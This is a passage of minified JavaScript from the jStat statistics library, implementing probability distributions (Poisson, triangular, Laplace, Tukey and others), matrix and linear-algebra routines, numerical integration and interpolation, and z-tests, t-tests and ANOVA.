Math.min(1,Math.max(0,scaledCDF))}}});jStat.extend(jStat.poisson,{pdf:function pdf(k,l){if(l<0||k%1!==0||k<0){return 0}return Math.pow(l,k)*Math.exp(-l)/jStat.factorial(k)},cdf:function cdf(x,l){var sumarr=[],k=0;if(x<0)return 0;for(;k<=x;k++){sumarr.push(jStat.poisson.pdf(k,l))}return jStat.sum(sumarr)},mean:function(l){return l},variance:function(l){return l},sampleSmall:function sampleSmall(l){var p=1,k=0,L=Math.exp(-l);do{k++;p*=jStat._random_fn()}while(p>L);return k-1},sampleLarge:function sampleLarge(l){var lam=l;var k;var U,V,slam,loglam,a,b,invalpha,vr,us;slam=Math.sqrt(lam);loglam=Math.log(lam);b=.931+2.53*slam;a=-.059+.02483*b;invalpha=1.1239+1.1328/(b-3.4);vr=.9277-3.6224/(b-2);while(1){U=Math.random()-.5;V=Math.random();us=.5-Math.abs(U);k=Math.floor((2*a/us+b)*U+lam+.43);if(us>=.07&&V<=vr){return k}if(k<0||us<.013&&V>us){continue}if(Math.log(V)+Math.log(invalpha)-Math.log(a/(us*us)+b)<=-lam+k*loglam-jStat.loggam(k+1)){return k}}},sample:function sample(l){if(l<10)return this.sampleSmall(l);else return this.sampleLarge(l)}});jStat.extend(jStat.triangular,{pdf:function pdf(x,a,b,c){if(b<=a||c<a||c>b){return NaN}else{if(x<a||x>b){return 0}else if(x<c){return 2*(x-a)/((b-a)*(c-a))}else if(x===c){return 2/(b-a)}else{return 2*(b-x)/((b-a)*(b-c))}}},cdf:function cdf(x,a,b,c){if(b<=a||c<a||c>b)return NaN;if(x<=a)return 0;else if(x>=b)return 1;if(x<=c)return Math.pow(x-a,2)/((b-a)*(c-a));else return 1-Math.pow(b-x,2)/((b-a)*(b-c))},inv:function inv(p,a,b,c){if(b<=a||c<a||c>b){return NaN}else{if(p<=(c-a)/(b-a)){return a+(b-a)*Math.sqrt(p*((c-a)/(b-a)))}else{return a+(b-a)*(1-Math.sqrt((1-p)*(1-(c-a)/(b-a))))}}},mean:function mean(a,b,c){return(a+b+c)/3},median:function median(a,b,c){if(c<=(a+b)/2){return b-Math.sqrt((b-a)*(b-c))/Math.sqrt(2)}else if(c>(a+b)/2){return a+Math.sqrt((b-a)*(c-a))/Math.sqrt(2)}},mode:function mode(a,b,c){return c},sample:function sample(a,b,c){var u=jStat._random_fn();if(u<(c-a)/(b-a))return a+Math.sqrt(u*(b-a)*(c-a));return b-Math.sqrt((1-u)*(b-a)*(b-c))},variance:function variance(a,b,c){return(a*a+b*b+c*c-a*b-a*c-b*c)/18}});jStat.extend(jStat.arcsine,{pdf:function pdf(x,a,b){if(b<=a)return NaN;return x<=a||x>=b?0:2/Math.PI*Math.pow(Math.pow(b-a,2)-Math.pow(2*x-a-b,2),-.5)},cdf:function cdf(x,a,b){if(x<a)return 0;else if(x<b)return 2/Math.PI*Math.asin(Math.sqrt((x-a)/(b-a)));return 1},inv:function(p,a,b){return a+(.5-.5*Math.cos(Math.PI*p))*(b-a)},mean:function mean(a,b){if(b<=a)return NaN;return(a+b)/2},median:function median(a,b){if(b<=a)return NaN;return(a+b)/2},mode:function mode(){throw new Error("mode is not yet implemented")},sample:function sample(a,b){return(a+b)/2+(b-a)/2*Math.sin(2*Math.PI*jStat.uniform.sample(0,1))},variance:function variance(a,b){if(b<=a)return NaN;return Math.pow(b-a,2)/8}});function laplaceSign(x){return x/Math.abs(x)}jStat.extend(jStat.laplace,{pdf:function pdf(x,mu,b){return b<=0?0:Math.exp(-Math.abs(x-mu)/b)/(2*b)},cdf:function cdf(x,mu,b){if(b<=0){return 0}if(x<mu){return.5*Math.exp((x-mu)/b)}else{return 1-.5*Math.exp(-(x-mu)/b)}},mean:function(mu){return mu},median:function(mu){return mu},mode:function(mu){return mu},variance:function(mu,b){return 2*b*b},sample:function sample(mu,b){var u=jStat._random_fn()-.5;return mu-b*laplaceSign(u)*Math.log(1-2*Math.abs(u))}});function tukeyWprob(w,rr,cc){var nleg=12;var ihalf=6;var C1=-30;var C2=-50;var C3=60;var bb=8;var wlar=3;var wincr1=2;var wincr2=3;var xleg=[.9815606342467192,.9041172563704749,.7699026741943047,.5873179542866175,.3678314989981802,.1252334085114689];var aleg=[.04717533638651183,.10693932599531843,.16007832854334622,.20316742672306592,.2334925365383548,.24914704581340277];var qsqz=w*.5;if(qsqz>=bb)return 1;var pr_w=2*jStat.normal.cdf(qsqz,0,1,1,0)-1;if(pr_w>=Math.exp(C2/cc))pr_w=Math.pow(pr_w,cc);else pr_w=0;var wincr;if(w>wlar)wincr=wincr1;else wincr=wincr2;var blb=qsqz;var binc=(bb-qsqz)/wincr;var bub=blb+binc;var einsum=0;var cc1=cc-1;for(var wi=1;wi<=wincr;wi++){var elsum=0;var a=.5*(bub+blb);var b=.5*(bub-blb);for(var jj=1;jj<=nleg;jj++){var j,xx;if(ihalf<jj){j=nleg-jj+1;xx=xleg[j-1]}else{j=jj;xx=-xleg[j-1]}var c=b*xx;var ac=a+c;var qexpo=ac*ac;if(qexpo>C3)break;var pplus=2*jStat.normal.cdf(ac,0,1,1,0);var pminus=2*jStat.normal.cdf(ac,w,1,1,0);var rinsum=pplus*.5-pminus*.5;if(rinsum>=Math.exp(C1/cc1)){rinsum=aleg[j-1]*Math.exp(-(.5*qexpo))*Math.pow(rinsum,cc1);elsum+=rinsum}}elsum*=2*b*cc/Math.sqrt(2*Math.PI);einsum+=elsum;blb=bub;bub+=binc}pr_w+=einsum;if(pr_w<=Math.exp(C1/rr))return 0;pr_w=Math.pow(pr_w,rr);if(pr_w>=1)return 1;return pr_w}function tukeyQinv(p,c,v){var p0=.322232421088;var q0=.099348462606;var p1=-1;var q1=.588581570495;var p2=-.342242088547;var q2=.531103462366;var p3=-.204231210125;var q3=.10353775285;var p4=-453642210148e-16;var q4=.0038560700634;var c1=.8832;var c2=.2368;var c3=1.214;var c4=1.208;var c5=1.4142;var vmax=120;var ps=.5-.5*p;var yi=Math.sqrt(Math.log(1/(ps*ps)));var t=yi+((((yi*p4+p3)*yi+p2)*yi+p1)*yi+p0)/((((yi*q4+q3)*yi+q2)*yi+q1)*yi+q0);if(v<vmax)t+=(t*t*t+t)/v/4;var q=c1-c2*t;if(v<vmax)q+=-c3/v+c4*t/v;return t*(q*Math.log(c-1)+c5)}jStat.extend(jStat.tukey,{cdf:function cdf(q,nmeans,df){var rr=1;var cc=nmeans;var nlegq=16;var ihalfq=8;var eps1=-30;var eps2=1e-14;var dhaf=100;var dquar=800;var deigh=5e3;var dlarg=25e3;var ulen1=1;var ulen2=.5;var ulen3=.25;var ulen4=.125;var xlegq=[.9894009349916499,.9445750230732326,.8656312023878318,.755404408355003,.6178762444026438,.45801677765722737,.2816035507792589,.09501250983763744];var alegq=[.027152459411754096,.062253523938647894,.09515851168249279,.12462897125553388,.14959598881657674,.16915651939500254,.18260341504492358,.1894506104550685];if(q<=0)return 0;if(df<2||rr<1||cc<2)return NaN;if(!Number.isFinite(q))return 1;if(df>dlarg)return tukeyWprob(q,rr,cc);var f2=df*.5;var f2lf=f2*Math.log(df)-df*Math.log(2)-jStat.gammaln(f2);var f21=f2-1;var ff4=df*.25;var ulen;if(df<=dhaf)ulen=ulen1;else if(df<=dquar)ulen=ulen2;else if(df<=deigh)ulen=ulen3;else ulen=ulen4;f2lf+=Math.log(ulen);var ans=0;for(var i=1;i<=50;i++){var otsum=0;var twa1=(2*i-1)*ulen;for(var jj=1;jj<=nlegq;jj++){var j,t1;if(ihalfq<jj){j=jj-ihalfq-1;t1=f2lf+f21*Math.log(twa1+xlegq[j]*ulen)-(xlegq[j]*ulen+twa1)*ff4}else{j=jj-1;t1=f2lf+f21*Math.log(twa1-xlegq[j]*ulen)+(xlegq[j]*ulen-twa1)*ff4}var qsqz;if(t1>=eps1){if(ihalfq<jj){qsqz=q*Math.sqrt((xlegq[j]*ulen+twa1)*.5)}else{qsqz=q*Math.sqrt((-(xlegq[j]*ulen)+twa1)*.5)}var wprb=tukeyWprob(qsqz,rr,cc);var rotsum=wprb*alegq[j]*Math.exp(t1);otsum+=rotsum}}if(i*ulen>=1&&otsum<=eps2)break;ans+=otsum}if(otsum>eps2){throw new Error("tukey.cdf failed to converge")}if(ans>1)ans=1;return ans},inv:function(p,nmeans,df){var rr=1;var cc=nmeans;var eps=1e-4;var maxiter=50;if(df<2||rr<1||cc<2)return NaN;if(p<0||p>1)return NaN;if(p===0)return 0;if(p===1)return Infinity;var x0=tukeyQinv(p,cc,df);var valx0=jStat.tukey.cdf(x0,nmeans,df)-p;var x1;if(valx0>0)x1=Math.max(0,x0-1);else x1=x0+1;var valx1=jStat.tukey.cdf(x1,nmeans,df)-p;var ans;for(var iter=1;iter<maxiter;iter++){ans=x1-valx1*(x1-x0)/(valx1-valx0);valx0=valx1;x0=x1;if(ans<0){ans=0;valx1=-p}valx1=jStat.tukey.cdf(ans,nmeans,df)-p;x1=ans;var xabs=Math.abs(x1-x0);if(xabs<eps)return ans}throw new Error("tukey.inv failed to converge")}})})(jStat,Math);(function(jStat,Math){var push=Array.prototype.push;var isArray=jStat.utils.isArray;function isUsable(arg){return isArray(arg)||arg instanceof jStat}jStat.extend({add:function add(arr,arg){if(isUsable(arg)){if(!isUsable(arg[0]))arg=[arg];return jStat.map(arr,function(value,row,col){return value+arg[row][col]})}return jStat.map(arr,function(value){return value+arg})},subtract:function subtract(arr,arg){if(isUsable(arg)){if(!isUsable(arg[0]))arg=[arg];return jStat.map(arr,function(value,row,col){return value-arg[row][col]||0})}return jStat.map(arr,function(value){return value-arg})},divide:function divide(arr,arg){if(isUsable(arg)){if(!isUsable(arg[0]))arg=[arg];return jStat.multiply(arr,jStat.inv(arg))}return jStat.map(arr,function(value){return value/arg})},multiply:function multiply(arr,arg){var row,col,nrescols,sum,nrow,ncol,res,rescols;if(arr.length===undefined&&arg.length===undefined){return arr*arg}nrow=arr.length,ncol=arr[0].length,res=jStat.zeros(nrow,nrescols=isUsable(arg)?arg[0].length:ncol),rescols=0;if(isUsable(arg)){for(;rescols<nrescols;rescols++){for(row=0;row<nrow;row++){sum=0;for(col=0;col<ncol;col++)sum+=arr[row][col]*arg[col][rescols];res[row][rescols]=sum}}return nrow===1&&rescols===1?res[0][0]:res}return jStat.map(arr,function(value){return value*arg})},outer:function outer(A,B){return jStat.multiply(A.map(function(t){return[t]}),[B])},dot:function dot(arr,arg){if(!isUsable(arr[0]))arr=[arr];if(!isUsable(arg[0]))arg=[arg];var left=arr[0].length===1&&arr.length!==1?jStat.transpose(arr):arr,right=arg[0].length===1&&arg.length!==1?jStat.transpose(arg):arg,res=[],row=0,nrow=left.length,ncol=left[0].length,sum,col;for(;row<nrow;row++){res[row]=[];sum=0;for(col=0;col<ncol;col++)sum+=left[row][col]*right[row][col];res[row]=sum}return res.length===1?res[0]:res},pow:function pow(arr,arg){return jStat.map(arr,function(value){return Math.pow(value,arg)})},exp:function exp(arr){return jStat.map(arr,function(value){return Math.exp(value)})},log:function exp(arr){return jStat.map(arr,function(value){return Math.log(value)})},abs:function abs(arr){return jStat.map(arr,function(value){return Math.abs(value)})},norm:function norm(arr,p){var nnorm=0,i=0;if(isNaN(p))p=2;if(isUsable(arr[0]))arr=arr[0];for(;i<arr.length;i++){nnorm+=Math.pow(Math.abs(arr[i]),p)}return Math.pow(nnorm,1/p)},angle:function angle(arr,arg){return Math.acos(jStat.dot(arr,arg)/(jStat.norm(arr)*jStat.norm(arg)))},aug:function aug(a,b){var newarr=[];var i;for(i=0;i<a.length;i++){newarr.push(a[i].slice())}for(i=0;i<newarr.length;i++){push.apply(newarr[i],b[i])}return newarr},inv:function inv(a){var rows=a.length;var cols=a[0].length;var b=jStat.identity(rows,cols);var c=jStat.gauss_jordan(a,b);var result=[];var i=0;var j;for(;i<rows;i++){result[i]=[];for(j=cols;j<c[0].length;j++)result[i][j-cols]=c[i][j]}return result},det:function det(a){if(a.length===2){return a[0][0]*a[1][1]-a[0][1]*a[1][0]}var determinant=0;for(var i=0;i<a.length;i++){var submatrix=[];for(var row=1;row<a.length;row++){submatrix[row-1]=[];for(var col=0;col<a.length;col++){if(col<i){submatrix[row-1][col]=a[row][col]}else if(col>i){submatrix[row-1][col-1]=a[row][col]}}}var sign=i%2?-1:1;determinant+=det(submatrix)*a[0][i]*sign}return determinant},gauss_elimination:function gauss_elimination(a,b){var i=0,j=0,n=a.length,m=a[0].length,factor=1,sum=0,x=[],maug,pivot,temp,k;a=jStat.aug(a,b);maug=a[0].length;for(i=0;i<n;i++){pivot=a[i][i];j=i;for(k=i+1;k<m;k++){if(pivot<Math.abs(a[k][i])){pivot=a[k][i];j=k}}if(j!=i){for(k=0;k<maug;k++){temp=a[i][k];a[i][k]=a[j][k];a[j][k]=temp}}for(j=i+1;j<n;j++){factor=a[j][i]/a[i][i];for(k=i;k<maug;k++){a[j][k]=a[j][k]-factor*a[i][k]}}}for(i=n-1;i>=0;i--){sum=0;for(j=i+1;j<=n-1;j++){sum=sum+x[j]*a[i][j]}x[i]=(a[i][maug-1]-sum)/a[i][i]}return x},gauss_jordan:function gauss_jordan(a,b){var m=jStat.aug(a,b);var h=m.length;var w=m[0].length;var c=0;var x,y,y2;for(y=0;y<h;y++){var maxrow=y;for(y2=y+1;y2<h;y2++){if(Math.abs(m[y2][y])>Math.abs(m[maxrow][y]))maxrow=y2}var tmp=m[y];m[y]=m[maxrow];m[maxrow]=tmp;for(y2=y+1;y2<h;y2++){c=m[y2][y]/m[y][y];for(x=y;x<w;x++){m[y2][x]-=m[y][x]*c}}}for(y=h-1;y>=0;y--){c=m[y][y];for(y2=0;y2<y;y2++){for(x=w-1;x>y-1;x--){m[y2][x]-=m[y][x]*m[y2][y]/c}}m[y][y]/=c;for(x=h;x<w;x++){m[y][x]/=c}}return m},triaUpSolve:function triaUpSolve(A,b){var size=A[0].length;var x=jStat.zeros(1,size)[0];var parts;var matrix_mode=false;if(b[0].length!=undefined){b=b.map(function(i){return i[0]});matrix_mode=true}jStat.arange(size-1,-1,-1).forEach(function(i){parts=jStat.arange(i+1,size).map(function(j){return x[j]*A[i][j]});x[i]=(b[i]-jStat.sum(parts))/A[i][i]});if(matrix_mode)return x.map(function(i){return[i]});return x},triaLowSolve:function triaLowSolve(A,b){var size=A[0].length;var x=jStat.zeros(1,size)[0];var parts;var matrix_mode=false;if(b[0].length!=undefined){b=b.map(function(i){return i[0]});matrix_mode=true}jStat.arange(size).forEach(function(i){parts=jStat.arange(i).map(function(j){return A[i][j]*x[j]});x[i]=(b[i]-jStat.sum(parts))/A[i][i]});if(matrix_mode)return x.map(function(i){return[i]});return x},lu:function lu(A){var size=A.length;var L=jStat.identity(size);var R=jStat.zeros(A.length,A[0].length);var parts;jStat.arange(size).forEach(function(t){R[0][t]=A[0][t]});jStat.arange(1,size).forEach(function(l){jStat.arange(l).forEach(function(i){parts=jStat.arange(i).map(function(jj){return L[l][jj]*R[jj][i]});L[l][i]=(A[l][i]-jStat.sum(parts))/R[i][i]});jStat.arange(l,size).forEach(function(j){parts=jStat.arange(l).map(function(jj){return L[l][jj]*R[jj][j]});R[l][j]=A[parts.length][j]-jStat.sum(parts)})});return[L,R]},cholesky:function cholesky(A){var size=A.length;var T=jStat.zeros(A.length,A[0].length);var parts;jStat.arange(size).forEach(function(i){parts=jStat.arange(i).map(function(t){return Math.pow(T[i][t],2)});T[i][i]=Math.sqrt(A[i][i]-jStat.sum(parts));jStat.arange(i+1,size).forEach(function(j){parts=jStat.arange(i).map(function(t){return T[i][t]*T[j][t]});T[j][i]=(A[i][j]-jStat.sum(parts))/T[i][i]})});return T},gauss_jacobi:function gauss_jacobi(a,b,x,r){var i=0;var j=0;var n=a.length;var l=[];var u=[];var d=[];var xv,c,h,xk;for(;i<n;i++){l[i]=[];u[i]=[];d[i]=[];for(j=0;j<n;j++){if(i>j){l[i][j]=a[i][j];u[i][j]=d[i][j]=0}else if(i<j){u[i][j]=a[i][j];l[i][j]=d[i][j]=0}else{d[i][j]=a[i][j];l[i][j]=u[i][j]=0}}}h=jStat.multiply(jStat.multiply(jStat.inv(d),jStat.add(l,u)),-1);c=jStat.multiply(jStat.inv(d),b);xv=x;xk=jStat.add(jStat.multiply(h,x),c);i=2;while(Math.abs(jStat.norm(jStat.subtract(xk,xv)))>r){xv=xk;xk=jStat.add(jStat.multiply(h,xv),c);i++}return xk},gauss_seidel:function gauss_seidel(a,b,x,r){var i=0;var n=a.length;var l=[];var u=[];var d=[];var j,xv,c,h,xk;for(;i<n;i++){l[i]=[];u[i]=[];d[i]=[];for(j=0;j<n;j++){if(i>j){l[i][j]=a[i][j];u[i][j]=d[i][j]=0}else if(i<j){u[i][j]=a[i][j];l[i][j]=d[i][j]=0}else{d[i][j]=a[i][j];l[i][j]=u[i][j]=0}}}h=jStat.multiply(jStat.multiply(jStat.inv(jStat.add(d,l)),u),-1);c=jStat.multiply(jStat.inv(jStat.add(d,l)),b);xv=x;xk=jStat.add(jStat.multiply(h,x),c);i=2;while(Math.abs(jStat.norm(jStat.subtract(xk,xv)))>r){xv=xk;xk=jStat.add(jStat.multiply(h,xv),c);i=i+1}return xk},SOR:function SOR(a,b,x,r,w){var i=0;var n=a.length;var l=[];var u=[];var d=[];var j,xv,c,h,xk;for(;i<n;i++){l[i]=[];u[i]=[];d[i]=[];for(j=0;j<n;j++){if(i>j){l[i][j]=a[i][j];u[i][j]=d[i][j]=0}else if(i<j){u[i][j]=a[i][j];l[i][j]=d[i][j]=0}else{d[i][j]=a[i][j];l[i][j]=u[i][j]=0}}}h=jStat.multiply(jStat.inv(jStat.add(d,jStat.multiply(l,w))),jStat.subtract(jStat.multiply(d,1-w),jStat.multiply(u,w)));c=jStat.multiply(jStat.multiply(jStat.inv(jStat.add(d,jStat.multiply(l,w))),b),w);xv=x;xk=jStat.add(jStat.multiply(h,x),c);i=2;while(Math.abs(jStat.norm(jStat.subtract(xk,xv)))>r){xv=xk;xk=jStat.add(jStat.multiply(h,xv),c);i++}return xk},householder:function householder(a){var m=a.length;var n=a[0].length;var i=0;var w=[];var p=[];var alpha,r,k,j,factor;for(;i<m-1;i++){alpha=0;for(j=i+1;j<n;j++)alpha+=a[j][i]*a[j][i];factor=a[i+1][i]>0?-1:1;alpha=factor*Math.sqrt(alpha);r=Math.sqrt((alpha*alpha-a[i+1][i]*alpha)/2);w=jStat.zeros(m,1);w[i+1][0]=(a[i+1][i]-alpha)/(2*r);for(k=i+2;k<m;k++)w[k][0]=a[k][i]/(2*r);p=jStat.subtract(jStat.identity(m,n),jStat.multiply(jStat.multiply(w,jStat.transpose(w)),2));a=jStat.multiply(p,jStat.multiply(a,p))}return a},QR:function(){var sum=jStat.sum;var range=jStat.arange;function qr2(x){var n=x.length;var p=x[0].length;var r=jStat.zeros(p,p);x=jStat.copy(x);var i,j,k;for(j=0;j<p;j++){r[j][j]=Math.sqrt(sum(range(n).map(function(i){return x[i][j]*x[i][j]})));for(i=0;i<n;i++){x[i][j]=x[i][j]/r[j][j]}for(k=j+1;k<p;k++){r[j][k]=sum(range(n).map(function(i){return x[i][j]*x[i][k]}));for(i=0;i<n;i++){x[i][k]=x[i][k]-x[i][j]*r[j][k]}}}return[x,r]}return qr2}(),lstsq:function(){function R_I(A){A=jStat.copy(A);var size=A.length;var I=jStat.identity(size);jStat.arange(size-1,-1,-1).forEach(function(i){jStat.sliceAssign(I,{row:i},jStat.divide(jStat.slice(I,{row:i}),A[i][i]));jStat.sliceAssign(A,{row:i},jStat.divide(jStat.slice(A,{row:i}),A[i][i]));jStat.arange(i).forEach(function(j){var c=jStat.multiply(A[j][i],-1);var Aj=jStat.slice(A,{row:j});var cAi=jStat.multiply(jStat.slice(A,{row:i}),c);jStat.sliceAssign(A,{row:j},jStat.add(Aj,cAi));var Ij=jStat.slice(I,{row:j});var cIi=jStat.multiply(jStat.slice(I,{row:i}),c);jStat.sliceAssign(I,{row:j},jStat.add(Ij,cIi))})});return I}function qr_solve(A,b){var array_mode=false;if(b[0].length===undefined){b=b.map(function(x){return[x]});array_mode=true}var QR=jStat.QR(A);var Q=QR[0];var R=QR[1];var attrs=A[0].length;var Q1=jStat.slice(Q,{col:{end:attrs}});var R1=jStat.slice(R,{row:{end:attrs}});var RI=R_I(R1);var Q2=jStat.transpose(Q1);if(Q2[0].length===undefined){Q2=[Q2]}var x=jStat.multiply(jStat.multiply(RI,Q2),b);if(x.length===undefined){x=[[x]]}if(array_mode)return x.map(function(i){return i[0]});return x}return qr_solve}(),jacobi:function jacobi(a){var condition=1;var n=a.length;var e=jStat.identity(n,n);var ev=[];var b,i,j,p,q,maxim,theta,s;while(condition===1){maxim=a[0][1];p=0;q=1;for(i=0;i<n;i++){for(j=0;j<n;j++){if(i!=j){if(maxim<Math.abs(a[i][j])){maxim=Math.abs(a[i][j]);p=i;q=j}}}}if(a[p][p]===a[q][q])theta=a[p][q]>0?Math.PI/4:-Math.PI/4;else theta=Math.atan(2*a[p][q]/(a[p][p]-a[q][q]))/2;s=jStat.identity(n,n);s[p][p]=Math.cos(theta);s[p][q]=-Math.sin(theta);s[q][p]=Math.sin(theta);s[q][q]=Math.cos(theta);e=jStat.multiply(e,s);b=jStat.multiply(jStat.multiply(jStat.inv(s),a),s);a=b;condition=0;for(i=1;i<n;i++){for(j=1;j<n;j++){if(i!=j&&Math.abs(a[i][j])>.001){condition=1}}}}for(i=0;i<n;i++)ev.push(a[i][i]);return[e,ev]},rungekutta:function rungekutta(f,h,p,t_j,u_j,order){var k1,k2,u_j1,k3,k4;if(order===2){while(t_j<=p){k1=h*f(t_j,u_j);k2=h*f(t_j+h,u_j+k1);u_j1=u_j+(k1+k2)/2;u_j=u_j1;t_j=t_j+h}}if(order===4){while(t_j<=p){k1=h*f(t_j,u_j);k2=h*f(t_j+h/2,u_j+k1/2);k3=h*f(t_j+h/2,u_j+k2/2);k4=h*f(t_j+h,u_j+k3);u_j1=u_j+(k1+2*k2+2*k3+k4)/6;u_j=u_j1;t_j=t_j+h}}return u_j},romberg:function romberg(f,a,b,order){var i=0;var h=(b-a)/2;var x=[];var h1=[];var g=[];var m,a1,j,k,I;while(i<order/2){I=f(a);for(j=a,k=0;j<=b;j=j+h,k++)x[k]=j;m=x.length;for(j=1;j<m-1;j++){I+=(j%2!==0?4:2)*f(x[j])}I=h/3*(I+f(b));g[i]=I;h/=2;i++}a1=g.length;m=1;while(a1!==1){for(j=0;j<a1-1;j++)h1[j]=(Math.pow(4,m)*g[j+1]-g[j])/(Math.pow(4,m)-1);a1=h1.length;g=h1;h1=[];m++}return g},richardson:function richardson(X,f,x,h){function pos(X,x){var i=0;var n=X.length;var p;for(;i<n;i++)if(X[i]===x)p=i;return p}var h_min=Math.abs(x-X[pos(X,x)+1]);var i=0;var g=[];var h1=[];var y1,y2,m,a,j;while(h>=h_min){y1=pos(X,x+h);y2=pos(X,x);g[i]=(f[y1]-2*f[y2]+f[2*y2-y1])/(h*h);h/=2;i++}a=g.length;m=1;while(a!=1){for(j=0;j<a-1;j++)h1[j]=(Math.pow(4,m)*g[j+1]-g[j])/(Math.pow(4,m)-1);a=h1.length;g=h1;h1=[];m++}return g},simpson:function simpson(f,a,b,n){var h=(b-a)/n;var I=f(a);var x=[];var j=a;var k=0;var i=1;var m;for(;j<=b;j=j+h,k++)x[k]=j;m=x.length;for(;i<m-1;i++){I+=(i%2!==0?4:2)*f(x[i])}return h/3*(I+f(b))},hermite:function hermite(X,F,dF,value){var n=X.length;var p=0;var i=0;var l=[];var dl=[];var A=[];var B=[];var j;for(;i<n;i++){l[i]=1;for(j=0;j<n;j++){if(i!=j)l[i]*=(value-X[j])/(X[i]-X[j])}dl[i]=0;for(j=0;j<n;j++){if(i!=j)dl[i]+=1/(X[i]-X[j])}A[i]=(1-2*(value-X[i])*dl[i])*(l[i]*l[i]);B[i]=(value-X[i])*(l[i]*l[i]);p+=A[i]*F[i]+B[i]*dF[i]}return p},lagrange:function lagrange(X,F,value){var p=0;var i=0;var j,l;var n=X.length;for(;i<n;i++){l=F[i];for(j=0;j<n;j++){if(i!=j)l*=(value-X[j])/(X[i]-X[j])}p+=l}return p},cubic_spline:function cubic_spline(X,F,value){var n=X.length;var i=0,j;var A=[];var B=[];var alpha=[];var c=[];var h=[];var b=[];var d=[];for(;i<n-1;i++)h[i]=X[i+1]-X[i];alpha[0]=0;for(i=1;i<n-1;i++){alpha[i]=3/h[i]*(F[i+1]-F[i])-3/h[i-1]*(F[i]-F[i-1])}for(i=1;i<n-1;i++){A[i]=[];B[i]=[];A[i][i-1]=h[i-1];A[i][i]=2*(h[i-1]+h[i]);A[i][i+1]=h[i];B[i][0]=alpha[i]}c=jStat.multiply(jStat.inv(A),B);for(j=0;j<n-1;j++){b[j]=(F[j+1]-F[j])/h[j]-h[j]*(c[j+1][0]+2*c[j][0])/3;d[j]=(c[j+1][0]-c[j][0])/(3*h[j])}for(j=0;j<n;j++){if(X[j]>value)break}j-=1;return F[j]+(value-X[j])*b[j]+jStat.sq(value-X[j])*c[j]+(value-X[j])*jStat.sq(value-X[j])*d[j]},gauss_quadrature:function gauss_quadrature(){throw new Error("gauss_quadrature not yet implemented")},PCA:function PCA(X){var m=X.length;var n=X[0].length;var i=0;var j,temp1;var u=[];var D=[];var result=[];var temp2=[];var Y=[];var Bt=[];var B=[];var C=[];var V=[];var Vt=[];for(i=0;i<m;i++){u[i]=jStat.sum(X[i])/n}for(i=0;i<n;i++){B[i]=[];for(j=0;j<m;j++){B[i][j]=X[j][i]-u[j]}}B=jStat.transpose(B);for(i=0;i<m;i++){C[i]=[];for(j=0;j<m;j++){C[i][j]=jStat.dot([B[i]],[B[j]])/(n-1)}}result=jStat.jacobi(C);V=result[0];D=result[1];Vt=jStat.transpose(V);for(i=0;i<D.length;i++){for(j=i;j<D.length;j++){if(D[i]<D[j]){temp1=D[i];D[i]=D[j];D[j]=temp1;temp2=Vt[i];Vt[i]=Vt[j];Vt[j]=temp2}}}Bt=jStat.transpose(B);for(i=0;i<m;i++){Y[i]=[];for(j=0;j<Bt.length;j++){Y[i][j]=jStat.dot([Vt[i]],[Bt[j]])}}return[X,D,Vt,Y]}});(function(funcs){for(var i=0;i<funcs.length;i++)(function(passfunc){jStat.fn[passfunc]=function(arg,func){var tmpthis=this;if(func){setTimeout(function(){func.call(tmpthis,jStat.fn[passfunc].call(tmpthis,arg))},15);return this}if(typeof jStat[passfunc](this,arg)==="number")return jStat[passfunc](this,arg);else return jStat(jStat[passfunc](this,arg))}})(funcs[i])})("add divide multiply subtract dot pow exp log abs norm angle".split(" "))})(jStat,Math);(function(jStat,Math){var slice=[].slice;var isNumber=jStat.utils.isNumber;var isArray=jStat.utils.isArray;jStat.extend({zscore:function zscore(){var args=slice.call(arguments);if(isNumber(args[1])){return(args[0]-args[1])/args[2]}return(args[0]-jStat.mean(args[1]))/jStat.stdev(args[1],args[2])},ztest:function ztest(){var args=slice.call(arguments);var z;if(isArray(args[1])){z=jStat.zscore(args[0],args[1],args[3]);return args[2]===1?jStat.normal.cdf(-Math.abs(z),0,1):jStat.normal.cdf(-Math.abs(z),0,1)*2}else{if(args.length>2){z=jStat.zscore(args[0],args[1],args[2]);return args[3]===1?jStat.normal.cdf(-Math.abs(z),0,1):jStat.normal.cdf(-Math.abs(z),0,1)*2}else{z=args[0];return args[1]===1?jStat.normal.cdf(-Math.abs(z),0,1):jStat.normal.cdf(-Math.abs(z),0,1)*2}}}});jStat.extend(jStat.fn,{zscore:function zscore(value,flag){return(value-this.mean())/this.stdev(flag)},ztest:function ztest(value,sides,flag){var zscore=Math.abs(this.zscore(value,flag));return sides===1?jStat.normal.cdf(-zscore,0,1):jStat.normal.cdf(-zscore,0,1)*2}});jStat.extend({tscore:function tscore(){var args=slice.call(arguments);return args.length===4?(args[0]-args[1])/(args[2]/Math.sqrt(args[3])):(args[0]-jStat.mean(args[1]))/(jStat.stdev(args[1],true)/Math.sqrt(args[1].length))},ttest:function ttest(){var args=slice.call(arguments);var tscore;if(args.length===5){tscore=Math.abs(jStat.tscore(args[0],args[1],args[2],args[3]));return args[4]===1?jStat.studentt.cdf(-tscore,args[3]-1):jStat.studentt.cdf(-tscore,args[3]-1)*2}if(isNumber(args[1])){tscore=Math.abs(args[0]);return args[2]==1?jStat.studentt.cdf(-tscore,args[1]-1):jStat.studentt.cdf(-tscore,args[1]-1)*2}tscore=Math.abs(jStat.tscore(args[0],args[1]));return args[2]==1?jStat.studentt.cdf(-tscore,args[1].length-1):jStat.studentt.cdf(-tscore,args[1].length-1)*2}});jStat.extend(jStat.fn,{tscore:function tscore(value){return(value-this.mean())/(this.stdev(true)/Math.sqrt(this.cols()))},ttest:function ttest(value,sides){return sides===1?1-jStat.studentt.cdf(Math.abs(this.tscore(value)),this.cols()-1):jStat.studentt.cdf(-Math.abs(this.tscore(value)),this.cols()-1)*2}});jStat.extend({anovafscore:function anovafscore(){var args=slice.call(arguments),expVar,sample,sampMean,sampSampMean,tmpargs,unexpVar,i,j;if(args.length===1){tmpargs=new Array(args[0].length);for(i=0;i<args[0].length;i++){tmpargs[i]=args[0][i]}args=tmpargs}sample=new Array;for(i=0;i<args.length;i++){sample=sample.concat(args[i])}sampMean=jStat.mean(sample);expVar=0;for(i=0;i<args.length;i++){expVar=expVar+args[i].length*Math.pow(jStat.mean(args[i])-sampMean,2)}expVar/=args.length-1;unexpVar=0;for(i=0;i<args.length;i++){sampSampMean=jStat.mean(args[i]);for(j=0;j<args[i].length;j++){unexpVar+=Math.pow(args[i][j]-sampSampMean,2)}}unexpVar/=sample.length-args.length;return expVar/unexpVar},anovaftest:function anovaftest(){var args=slice.call(arguments),df1,df2,n,i;if(isNumber(args[0])){return 1-jStat.centralF.cdf(args[0],args[1],args[2])}var 